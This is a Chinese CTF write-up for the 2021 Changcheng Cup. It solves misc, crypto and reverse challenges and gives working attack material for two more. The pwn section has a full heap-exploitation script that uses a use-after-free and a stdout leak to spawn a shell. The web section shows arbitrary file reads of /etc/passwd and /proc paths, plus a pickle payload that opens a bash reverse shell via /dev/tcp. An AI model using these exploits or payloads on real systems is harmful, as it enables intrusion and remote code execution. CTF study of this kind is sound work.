2021長城杯部分wp
misc
簽到
16進制轉字符串+base64解碼
你這flag保熟嗎
附件是1.png,2.png和flag.rar,但是flag.rar被加密,可能是通過1.png和2.png找到密碼,兩個圖片其實都藏了附件,因為文件很大,分解后分別得到
還有一個hint.txt
00000000: 7061 7373 776f 7264 e8a2 ab62 6173 6536 password...base6
00000010: 34e7 bc96 e7a0 81e4 ba86 3235 e6ac a1ef 4.........25....
00000020: bc8c e7bc 96e7 a081 e590 8ee7 9a84 e589 ................
00000030: 8d31 36e4 b8aa e5ad 97e7 aca6 e4b8 ba56 .16............V
00000040: 6d30 7764 3251 7955 586c 5657 4778 57 m0wd2QyUXlVWGxW
hint的txt給了base64和一些可見字符,將字符按照順序在上圖中畫出來,就得到
判斷是希爾伯特曲線, 希爾伯特曲線是一種能填充滿一個平面正方形的分形曲線(空間填充曲線),由大衛·希爾伯特在1891年提出。(選擇百度百科),根據形狀,這個正方形的規模應該是16x16,根據題意應該就是反向操作找出字符,然后base64解密
from hilbertcurve.hilbertcurve import HilbertCurve
from pandas import *
from base64 import *
arr = read_excel('./password.xls',header=None)
hilbert_curve = HilbertCurve(17, 2)
flag_base64 = ''
for i in range(np.size(arr)):
[x,y] = hilbert_curve.point_from_distance(i)
flag_base64 += str(arr[y][x])
for i in range(len(flag_base64)):
if flag_base64[i]=='=':
break
flag_base64 = flag_base64[:i+2]
while True:
try:
flag_base64 = b64decode(flag_base64)
except:
print(flag_base64)
break
#1f_y0u_h4ve_7he_fllllllag,_I_muSt_vvant_1t!
解密rar文件,得到 brainfuck
編碼,但是直接解碼失敗,然后就。。。沒了,待更新吧
crypto
baby_rsa
#!/usr/bin/env python3
from Crypto.Util.number import *
from secret import flag, v1, v2, m1, m2
def enc_1(val):
#p = (v1^m1+1)-(v1+1)^m1
#q = (v2^m2+1)-(v2+1)^m2
p, q = pow(v1, (m1+1))-pow((v1+1), m1), pow(v2, (m2+1))-pow((v2+1), m2)
assert isPrime(p) and isPrime(q) and (
p*q).bit_length() == 2048 and q < p < q << 3
return pow(val, 0x10001, p*q)
def enc_2(val):
assert val.bit_length() < 512
while True:
fac = [getPrime(512) for i in range(3)]
if isPrime(((fac[0]+fac[1]+fac[2]) << 1) - 1):
n = fac[0]*fac[1]*fac[2]*(((fac[0]+fac[1]+fac[2]) << 1) - 1)
break
c = pow(val, 0x10001, n)
return (c, n, ((fac[0]+fac[1]+fac[2]) << 1) - 1)
if __name__ == "__main__":
assert flag[:5] == b'flag{'
plain1 = bytes_to_long(flag[:21])#前21位
plain2 = bytes_to_long(flag[21:])
print(enc_1(plain1))
print(enc_2(plain2))
這個題感覺有點問題,但是還是做吧,flag被分為兩部分,我們一部分一部分求,先看加密1,未知量太多了,直接無腦爆破,加密2,直接分解fac[0]+fac[1]+fac[2]) << 1) - 1
,后半部分的flag比較容易求
from gmpy2 import *
from Crypto.Util.number import *
c = 40625981017250262945230548450738951725566520252163410124565622126754739693681271649127104109038164852787767296403697462475459670540845822150397639923013223102912674748402427501588018866490878394678482061561521253365550029075565507988232729032055298992792712574569704846075514624824654127691743944112075703814043622599530496100713378696761879982542679917631570451072107893348792817321652593471794974227183476732980623835483991067080345184978482191342430627490398516912714451984152960348899589532751919272583098764118161056078536781341750142553197082925070730178092561314400518151019955104989790911460357848366016263083
n = 43001726046955078981344016981790445980199072066019323382068244142888931539602812318023095256474939697257802646150348546779647545152288158607555239302887689137645748628421247685225463346118081238718049701320726295435376733215681415774255258419418661466010403928591242961434178730846537471236142683517399109466429776377360118355173431016107543977241358064093102741819626163467139833352454094472229349598479358367203452452606833796483111892076343745958394932132199442718048720633556310467019222434693785423996656306612262714609076119634814783438111843773649519101169326072793596027594057988365133037041133566146897868269
f = 39796272592331896400626784951713239526857273168732133046667572399622660330587881579319314094557011554851873068389016629085963086136116425352535902598378739
fac012 = n//f
e = 0x10001
p=[191,193,627383,1720754738477317127758682285465031939891059835873975157555031327070111123628789833299433549669619325160679719355338187877758311485785197492710491]
phi=1
for i in p:
phi*=i-1
d=inverse(0x10001,phi)
print(long_to_bytes(pow(c,d,f)))
Reverse
jusr_cmp-re
ida分析
__int64 __fastcall main(signed int a1, char **a2, char **a3)
{
if ( a1 > 1 )
{
if ( !strcmp(a2[1], "flag{********************************}") )
puts("Correct!");
else
puts("Wrong!");
}
else
{
printf("Usage: %s <FLAG>\n", *a2, a3, a2);
}
return 0LL;
}
主程序很短,並且沒有什么flag相關的函數調用,直接運行
root@kali:~/root# ./Just_cmp-re flag{********************************}
Correct!
直接就這樣,沒了。。。非常奇怪,正常來說這里應該顯示錯誤才對,看一下其他init函數,反編譯后如下
void __fastcall init(unsigned int a1, __int64 a2, __int64 a3)
{
__int64 v3; // r13
signed __int64 v4; // rbp
__int64 v5; // rbx
v3 = a3;
v4 = &off_200DE8 - off_200DD8;
init_proc();
if ( v4 )
{
v5 = 0LL;
do
((void (__fastcall *)(_QWORD, __int64, __int64))off_200DD8[v5++])(a1, a2, v3);
while ( v5 != v4 );
}
}
還原的代碼有點奇怪,可以看一下匯編代碼
這段代碼實際上執行了兩個函數,但是依舊沒有看到和flag相關的函數,但是能找到一個加密函數,但是實際上並沒有被調用,或者替換了函數地址
__int64 __fastcall sub_800(__int64 a1, __int64 a2)
{
int i; // [rsp+18h] [rbp-8h]
int v4; // [rsp+18h] [rbp-8h]
int j; // [rsp+1Ch] [rbp-4h]
for ( i = 0; *(_BYTE *)(i + a1); ++i )
;
v4 = (i >> 3) + 1;
for ( j = 0; j < v4; ++j )
*(_QWORD *)(8 * j + a1) -= qword_201060[j];
return qword_201098(a1, a2);
}
這里就是一直卡住的地方,程序並沒有看到調用這個函數的地方,那么是如何加密flag的,希望各位師傅能告知我一下(我認為這個題本身有問題),如果將其看做加密函數,那么直接解密就能得到flag
import binascii
flag_ = 'flag{********************************}'
qword = [0x0A07370000000000, 0x380B06060A080A37, 0x3B0F0E38083B0A07,0x373B0709060B0A3A, 0x0F38070F0D]
flag = b''
for i in range(5):
p = flag_[i*8:(i+1)*8]
a = binascii.b2a_hex(p.encode('ascii')[::-1])
b = binascii.a2b_hex(hex(int(a,16)+qword[i])[2:])[::-1]
flag += b
print(flag)
這個加密貌似看過幾次了,解密腳本都是一樣的
funny_js
文件名和字符串都出現js,推測和js有關,發現
基本確定就是quickjs,先找一下符合版本,最終確定為20200119
git clone https://gitee.com/haloxxg/QuickJS/tree/20200119
環境搭建以及修改源碼顯示反編譯結果可見:https://blog.d2x3.cn/kctf2020-第三題-尋蹤覓源.html
找一下數據
出現rc4,可能是rc4加密,密鑰可能是2021quickjs_happygame
參考https://bbs.pediy.com/thread-258966.htm寫個程序觀看反編譯
#include "quickjs-libc.h"
const uint32_t qjsc_s = 0x4c0;
const uint8_t qjsc_s[0x4c0] = {
0x02,0x1B,0x06,0x72,0x63,0x34,0x04,0x73,0x6E,0x02,0x69,0x02,0x6A,0x02,0x6B,0x02,
0x6C,0x02,0x6D,0x02,0x6E,0x04,0x75,0x6E,0x06,0x61,0x72,0x72,0x0C,0x63,0x69,0x70,
0x68,0x65,0x72,0x2A,0x32,0x30,0x32,0x31,0x71,0x75,0x69,0x63,0x6B,0x6A,0x73,0x5F,
0x68,0x61,0x70,0x70,0x79,0x67,0x61,0x6D,0x65,0x48,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,
0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,
0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x02,0x73,
0x18,0x66,0x72,0x6F,0x6D,0x43,0x68,0x61,0x72,0x43,0x6F,0x64,0x65,0x0A,0x70,0x72,
0x69,0x6E,0x74,0x12,0x73,0x6F,0x75,0x72,0x63,0x65,0x2E,0x6A,0x73,0x08,0x64,0x61,
0x74,0x61,0x06,0x6B,0x65,0x79,0x06,0x62,0x6F,0x78,0x02,0x78,0x08,0x74,0x65,0x6D,
0x70,0x02,0x79,0x06,0x6F,0x75,0x74,0x08,0x63,0x6F,0x64,0x65,0x14,0x63,0x68,0x61,
0x72,0x43,0x6F,0x64,0x65,0x41,0x74,0x08,0x70,0x75,0x73,0x68,0x0E,0x00,0x06,0x00,
0x9E,0x01,0x00,0x01,0x00,0x20,0x00,0x08,0xEB,0x04,0x01,0xA0,0x01,0x00,0x00,0x00,
0x40,0xDF,0x00,0x00,0x00,0x40,0x40,0xE0,0x00,0x00,0x00,0x00,0x40,0xE1,0x00,0x00,
0x00,0x00,0x40,0xE2,0x00,0x00,0x00,0x00,0x40,0xE3,0x00,0x00,0x00,0x00,0x40,0xE4,
0x00,0x00,0x00,0x00,0x40,0xE5,0x00,0x00,0x00,0x00,0x40,0xE6,0x00,0x00,0x00,0x00,
0x40,0xE7,0x00,0x00,0x00,0x00,0x40,0xE8,0x00,0x00,0x00,0x00,0x40,0xE9,0x00,0x00,
0x00,0x00,0x40,0xE1,0x00,0x00,0x00,0x00,0xC2,0x00,0x41,0xDF,0x00,0x00,0x00,0x00,
0x3F,0xE0,0x00,0x00,0x00,0x00,0x3F,0xE1,0x00,0x00,0x00,0x00,0x3F,0xE2,0x00,0x00,
0x00,0x00,0x3F,0xE3,0x00,0x00,0x00,0x00,0x3F,0xE4,0x00,0x00,0x00,0x00,0x3F,0xE5,
0x00,0x00,0x00,0x00,0x3F,0xE6,0x00,0x00,0x00,0x00,0x3F,0xE7,0x00,0x00,0x00,0x00,
0x3F,0xE8,0x00,0x00,0x00,0x00,0x3F,0xE9,0x00,0x00,0x00,0x00,0x3F,0xE1,0x00,0x00,
0x00,0x00,0x04,0xEA,0x00,0x00,0x00,0x11,0x3A,0xE7,0x00,0x00,0x00,0x0E,0x04,0xEB,
0x00,0x00,0x00,0x11,0x3A,0xE0,0x00,0x00,0x00,0xCB,0xC0,0x96,0x00,0xC0,0xE0,0x00,
0xC0,0xF4,0x00,0xBF,0x44,0xBF,0x3D,0xBF,0x7D,0xBF,0x08,0xC0,0xEF,0x00,0xC0,0xCB,
0x00,0xC0,0xFE,0x00,0xC0,0xF1,0x00,0xBF,0x71,0xC0,0xD5,0x00,0xC0,0xB0,0x00,0xBF,
0x40,0xBF,0x6A,0xBF,0x67,0xC0,0xA6,0x00,0xC0,0xB9,0x00,0xC0,0x9F,0x00,0xC0,0x9E,
0x00,0xC0,0xAC,0x00,0xBF,0x09,0xC0,0xD5,0x00,0xC0,0xEF,0x00,0xBF,0x0C,0xBF,0x64,
0xC0,0xB9,0x00,0xBF,0x5A,0xC0,0xAE,0x00,0xBF,0x6B,0xC0,0x83,0x00,0x26,0x20,0x00,
0xC0,0xDF,0x00,0x4D,0x20,0x00,0x00,0x80,0xBF,0x7A,0x4D,0x21,0x00,0x00,0x80,0xC0,
0xE5,0x00,0x4D,0x22,0x00,0x00,0x80,0xC0,0x9D,0x00,0x4D,0x23,0x00,0x00,0x80,0x11,
0x3A,0xE8,0x00,0x00,0x00,0x0E,0xC1,0x01,0x11,0x3A,0xE5,0x00,0x00,0x00,0xCB,0xC1,
0x02,0x11,0x3A,0xE6,0x00,0x00,0x00,0xCB,0xB7,0x11,0x3A,0xE4,0x00,0x00,0x00,0xCB,
0xB7,0x11,0x3A,0xE3,0x00,0x00,0x00,0xCB,0x39,0xDF,0x00,0x00,0x00,0x39,0xE0,0x00,
0x00,0x00,0x39,0xE7,0x00,0x00,0x00,0xF2,0x11,0x3A,0xE9,0x00,0x00,0x00,0x0E,0x06,
0xCB,0xB7,0x11,0x3A,0xE1,0x00,0x00,0x00,0x0E,0x39,0xE1,0x00,0x00,0x00,0x39,0xE9,
0x00,0x00,0x00,0xEB,0xA5,0xEC,0x6E,0x39,0xE9,0x00,0x00,0x00,0x39,0xE1,0x00,0x00,
0x00,0x48,0x11,0x3A,0xE2,0x00,0x00,0x00,0xCB,0x39,0xE2,0x00,0x00,0x00,0xBF,0x38,
0xBF,0x11,0xA0,0xB0,0x11,0x3A,0xE4,0x00,0x00,0x00,0xCB,0x06,0xCB,0x39,0xE4,0x00,
0x00,0x00,0x39,0xE8,0x00,0x00,0x00,0x39,0xE3,0x00,0x00,0x00,0x48,0xAB,0xEC,0x0F,
0x39,0xE5,0x00,0x00,0x00,0x93,0x3A,0xE5,0x00,0x00,0x00,0xCB,0xEE,0x0D,0x39,0xE6,
0x00,0x00,0x00,0x93,0x3A,0xE6,0x00,0x00,0x00,0xCB,0x39,0xE3,0x00,0x00,0x00,0x93,
0x3A,0xE3,0x00,0x00,0x00,0xCB,0x39,0xE1,0x00,0x00,0x00,0x93,0x3A,0xE1,0x00,0x00,
0x00,0x0E,0xEE,0x86,0x06,0xCB,0x39,0xE5,0x00,0x00,0x00,0x39,0xE9,0x00,0x00,0x00,
0xEB,0xAB,0xEC,0x15,0x39,0xE6,0x00,0x00,0x00,0xB7,0xAB,0xEC,0x0C,0xC1,0x03,0x11,
0x3A,0xE6,0x00,0x00,0x00,0xCB,0xEE,0x0A,0xC1,0x04,0x11,0x3A,0xE6,0x00,0x00,0x00,
0xCB,0xC3,0x11,0x3A,0xEC,0x00,0x00,0x00,0xCB,0x06,0xCB,0x39,0xE6,0x00,0x00,0x00,
0xC1,0x05,0xA7,0xEC,0x3A,0x39,0xEC,0x00,0x00,0x00,0x39,0x97,0x00,0x00,0x00,0x43,
0xED,0x00,0x00,0x00,0x39,0x96,0x00,0x00,0x00,0x39,0xE6,0x00,0x00,0x00,0xC1,0x06,
0x9E,0xF1,0x24,0x01,0x00,0x9F,0x11,0x3A,0xEC,0x00,0x00,0x00,0xCB,0x39,0xE6,0x00,
0x00,0x00,0xC1,0x07,0x9D,0x11,0x3A,0xE6,0x00,0x00,0x00,0xCB,0xEE,0xBE,0x39,0xEE,
0x00,0x00,0x00,0x39,0xEC,0x00,0x00,0x00,0xF1,0xCF,0x28,0xDE,0x03,0x01,0x20,0x00,
0x48,0x01,0x00,0x4A,0x52,0x3F,0x40,0x00,0x7C,0x04,0x30,0x30,0x2B,0x2B,0x77,0x7B,
0x5D,0x5D,0x6C,0x3F,0x0E,0x40,0x3F,0x4A,0xB7,0x30,0x2B,0x3F,0xCB,0x4E,0x0D,0x0E,
0x43,0x06,0x00,0xBE,0x03,0x02,0x08,0x02,0x05,0x00,0x00,0xBB,0x01,0x0A,0xE0,0x03,
0x00,0x01,0x00,0xE2,0x03,0x00,0x01,0x00,0xE4,0x03,0x00,0x00,0x00,0xC2,0x03,0x00,
0x01,0x00,0xE6,0x03,0x00,0x02,0x00,0xE8,0x03,0x00,0x03,0x00,0xEA,0x03,0x00,0x04,
0x00,0xEC,0x03,0x00,0x05,0x00,0xEE,0x03,0x00,0x06,0x00,0xC6,0x03,0x00,0x07,0x00,
0x39,0x94,0x00,0x00,0x00,0xC0,0x00,0x01,0xF1,0xCB,0xB7,0xCC,0xC8,0xC0,0x00,0x01,
0xA5,0xEC,0x09,0xC7,0xC8,0xC8,0x4A,0x95,0x01,0xEE,0xF2,0xB7,0xCD,0xB7,0xCC,0xC8,
0xC0,0x00,0x01,0xA5,0xEC,0x2C,0xC9,0xC7,0xC8,0x48,0x9F,0xD4,0x43,0xF8,0x00,0x00,
0x00,0xC8,0xD4,0xEB,0x9E,0x24,0x01,0x00,0x9F,0xC0,0x00,0x01,0x9E,0xCD,0xC7,0xC8,
0x48,0xCE,0xC7,0xC8,0x72,0xC7,0xC9,0x48,0x4A,0xC7,0xC9,0xCA,0x4A,0x95,0x01,0xEE,
0xCF,0xB7,0xCD,0xB7,0xC5,0x04,0x26,0x00,0x00,0xC5,0x05,0xB7,0xCC,0xC8,0xD3,0xEB,
0xA5,0xEC,0x56,0xD3,0x43,0xF8,0x00,0x00,0x00,0xC8,0x24,0x01,0x00,0xC5,0x06,0xC9,
0xB8,0x9F,0xC0,0x00,0x01,0x9E,0xCD,0xC4,0x04,0xC7,0xC9,0x48,0x9F,0xC0,0x00,0x01,
0x9E,0xC5,0x04,0xC7,0xC9,0x48,0xCE,0xC7,0xC9,0x72,0xC7,0xC4,0x04,0x48,0x4A,0xC7,
0xC4,0x04,0xCA,0x4A,0xC7,0xC9,0x48,0xC7,0xC4,0x04,0x48,0x9F,0xC0,0x00,0x01,0x9E,
0xC5,0x07,0xC4,0x05,0x43,0xF9,0x00,0x00,0x00,0xC4,0x06,0xC7,0xC4,0x07,0x48,0xB0,
0x24,0x01,0x00,0x0E,0x95,0x01,0xEE,0xA6,0xC4,0x05,0x28,0xDE,0x03,0x03,0x19,0x04,
0x35,0x30,0x17,0x18,0x0D,0x30,0x7B,0x17,0x26,0x17,0x19,0x0D,0x12,0x1C,0x2C,0x40,
0x2B,0x3F,0x17,0x2B,0x1D,0x4A,0x5D,0x17,0x0A,0x00,0x0A,0x00,0x0A,0xE8,0x01,0x07,
0x44,0xB8,0x90,0xB5,0x6B,0x67,0x80,0x0A,0xE8,0x01,0x07,0x34,0xA7,0xB8,0x48,0x7F,
0x8D,0xAF,0x0A,0x00,0x0A,0x28,0x01,0xFE,0x0A,0x28,0x01,0xFE,0x00,0x00,0x00,0x00,
0xB0,0x74,0xA3,0x0F,0xC8,0x55,0x00,0x00,0xB0,0x74,0xA3,0x0F,0xC8,0x55,0x00,0x00,
0xC0,0x74,0xA3,0x0F,0xC8,0x55,0x00,0x00,0xC0,0x74,0xA3,0x0F,0xC8,0x55,0x00,0x00,
0xD0,0x74,0xA3,0x0F,0xC8,0x55,0x00,0x00,0xD0,0x74,0xA3,0x0F,0xC8,0x55,0x00,0x00
};
int main(int argc, char **argv)
{
JSRuntime *rt;
JSContext *ctx;
rt = JS_NewRuntime();
ctx = JS_NewContextRaw(rt);
JS_SetModuleLoaderFunc(rt, NULL, js_module_loader, NULL);
JS_AddIntrinsicBaseObjects(ctx);
JS_AddIntrinsicDate(ctx);
JS_AddIntrinsicEval(ctx);
JS_AddIntrinsicStringNormalize(ctx);
JS_AddIntrinsicRegExp(ctx);
JS_AddIntrinsicJSON(ctx);
JS_AddIntrinsicProxy(ctx);
JS_AddIntrinsicMapSet(ctx);
JS_AddIntrinsicTypedArrays(ctx);
JS_AddIntrinsicPromise(ctx);
JS_AddIntrinsicBigInt(ctx);
js_std_add_helpers(ctx, argc, argv);
js_std_eval_binary(ctx, qjsc_s, 0x4c0, 0);
js_std_loop(ctx);
JS_FreeContext(ctx);
JS_FreeRuntime(rt);
return 0;
}
編譯運行cc funny_js.c -lm -ldl libquickjs.lto.a -o funny_js
,提取出密文
150, 224, 244, 68, 61, 125, 8, 239, 203, 254, 241, 113, 213, 176, 64, 106, 103,166, 185, 159, 158, 172, 9, 213, 239, 12, 100, 185, 90, 174, 107, 131, 223, 122, 229,157
根據反匯編的結果,是將flag進行rc4加密,然后異或39,逆向操作解得到flag
pwn
K1ng_in_h3Ap1
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保護全開,64位程序,ida分析
添加堆的函數
_DWORD *add()
{
_DWORD *result; // rax
int v1; // [rsp+8h] [rbp-8h]
int heap_size; // [rsp+Ch] [rbp-4h]
puts("input index:");
v1 = input();
if ( v1 < 0 || v1 > 10 ) // 10以內
exit(0);
puts("input size:");
heap_size = input();
if ( heap_size < 0 || heap_size > 240 ) // 大小
exit(0);
heap_addr[v1] = malloc(heap_size); // 存放堆地址
result = heap_szie_shuzu;
heap_szie_shuzu[v1] = heap_size; // 存放堆地址大小的數組
return result; // 返回數組
}
泄露的函數
int leak_()
{
return printf("%p\n", (unsigned __int64)&printf & 0xFFFFFF);
}
漏洞出現在delete函數上,存在uaf
void delete()
{
int v0; // [rsp+Ch] [rbp-4h]
puts("input index:");
v0 = input();
if ( v0 < 0 || v0 > 10 || !heap_addr[v0] || !heap_szie_shuzu[v0] )
exit(0);
free(heap_addr[v0]); // uaf漏洞
}
分析:程序給我們一個leak函數,泄露printf函數低3位,那其實利用利用偏移找到其他函數或者結構地址(比如找到7f繞開fastbin的檢測),結合之前祥雲杯學到的一個_IO_2_1_stdout_ 泄露libc:https://www.jianshu.com/p/27152c14e2e7
因為是2.23版本,unsorded bin直接結合fastbin attack來泄露即可,還有就是結合one_gadget,但是得進行抬棧操作,注意不能使用malloc_hook因為過不了fastbin的檢測,這里可以使用_IO_wide_data_0+301
,這里的值可以繞開fastbin檢測
總之:低版本的glibc泄露libc沒有高版本的簡單(對比祥雲杯)
exp參考了北島師傅,寫得比較易懂,比較適合學習,我的死活打不通就不獻丑了
from pwn import *
context(os = "linux", arch = "amd64")#,log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']
r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./K1ng_in_h3Ap'],env={"LD_PRELOAD":"./changcheng_libc.so.6"})
elf = ELF('./K1ng_in_h3Ap')
libc = ELF('changcheng_libc.so.6')
def add(idx,size):
r.recvuntil('>> \n')
r.sendline('1')
r.recvuntil('input index:')
r.sendline(str(idx))
r.recvuntil('input size:')
r.sendline(str(size))
def free(idx):
r.recvuntil('>> \n')
r.sendline('2')
r.recvuntil('input index:')
r.sendline(str(idx))
def edit(idx,content):
r.recvuntil('>> \n')
r.sendline('3')
r.recvuntil('input index:')
r.sendline(str(idx))
r.recvuntil('input context:')
r.sendline(content)
def leak_():
r.recvuntil('>> \n')
r.sendline('666')
leak_()
recv_addr = r.recv(8)
leak = int(recv_addr,16)
print(hex(leiak))
#gdb.attach(r)
stderr_157 = leak+0x36fdcd
add(0,0x60)
add(1,0x60)
add(2,0xa0)
add(3,0x60)
free(2)
add(4,0x60)#from unsorded bin
edit(4,p8(stderr_157&0xff)+p16(stderr_157>>8))
free(0)
free(1)#fatsbin1->fastbin0
edit(1,p8(0xe0))#unsorded bin in fastbin
add(5,0x60)
add(6,0x60)
add(7,0x60)
payload = 'aaa'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+'\x00'
edit(7,payload)
leak_libc = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = leak_libc-0x3c5600
print('libc_base',hex(libc_base))
instant_malloc_hook = libc_base+0x3c4aed
print('instant_malloc_hook',hex(instant_malloc_hook))
r.recv()
r.sendline('1')
r.recvuntil('input index:')
r.sendline('8')
r.recvuntil('input size:')
r.sendline('96')#add(8)
r.recv()
r.sendline('2')
r.recvuntil('input index:')
r.sendline('8')#free(8)
#make fastbin fd to fake chunk
r.recv()
r.sendline('3')
r.recvuntil('input index:')
r.sendline('8')
r.recvuntil('input context:')
r.sendline(p64(instant_malloc_hook))#edit(8)
r.recv()
r.sendline('1')
r.recvuntil('input index:')
r.sendline('9')
r.recvuntil('input size:')
r.sendline('96')#add(8),addr is fake chunk
r.recv()
r.sendline('1')
r.recvuntil('input index:')
r.sendline('10')
r.recvuntil('input size:')
r.sendline('96')
one_gadget=[0x45226, 0x4527a, 0xf03a4, 0xf1247]
shell = one_gadget[3]+libc_base
realloc = libc.sym['__libc_realloc']+libc_base
print('realloc',hex(realloc))
realloc_offset = realloc+12
print('realloc_offset',hex(realloc_offset))
shell_payload = '\x00'+p64(0)+p64(shell)+p64(realloc_offset)
r.recv()
r.sendline('3')
r.recvuntil('input index:')
r.sendline('10')
r.recvuntil('input context:')
r.sendline(shell_payload)
r.recv()
r.sendline('1')
r.recvuntil('input index:')
r.sendline('0')
r.recvuntil('input size:')
#gdb.attach(r)
r.sendline('1')
r.interactive()
K1ng_in_h3Ap2
待復現
web
ez-python
前端發現右鍵查看源代碼有/?pic=1.jpg
,發現存在任意文件讀取
/?pic=/etc/passwd
利用linux進程符號鏈接找到源碼
/proc/self/cmdline
/proc/self/cwd/app/app.py
得到源碼
import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file
app = Flask(__name__)
class User():
def __init__(self,name,age):
self.name = name
self.age = age
def check(s):
if b'R' in s:
return 0
return 1
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
if check(user):
user = pickle.loads(user)
username = user["username"]
else:
username = "bad,bad,hacker"
except:
username = "CTFer"
pic = '{0}.jpg'.format(random.randint(1,7))
try:
pic=request.args.get('pic')
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
except:
pic='{0}.jpg'.format(random.randint(1,7))
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
return render_template('index.html', uname=username, pic=p )
if __name__ == "__main__":
app.run('0.0.0.0',port=8888)
pickle,但是過濾R,opcode指令反彈shell(和祥雲杯的題很像)
import base64
data=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"'
o.'''
print(base64.b64encode(data))
抓包,添加cookie,user=payload,vps得到shell后,讀取文件的得到flag